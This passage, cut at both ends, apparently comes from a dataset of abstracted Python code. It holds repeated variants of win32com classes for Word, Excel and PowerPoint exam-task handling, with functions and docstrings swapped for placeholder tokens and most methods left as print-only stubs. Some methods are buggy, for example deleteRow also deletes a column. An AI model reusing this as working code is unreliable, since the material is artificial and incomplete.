self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n <function token>\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n <function token>\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n <function token>\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n <function token>\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n <function token>\n <function token>\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n <function token>\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n 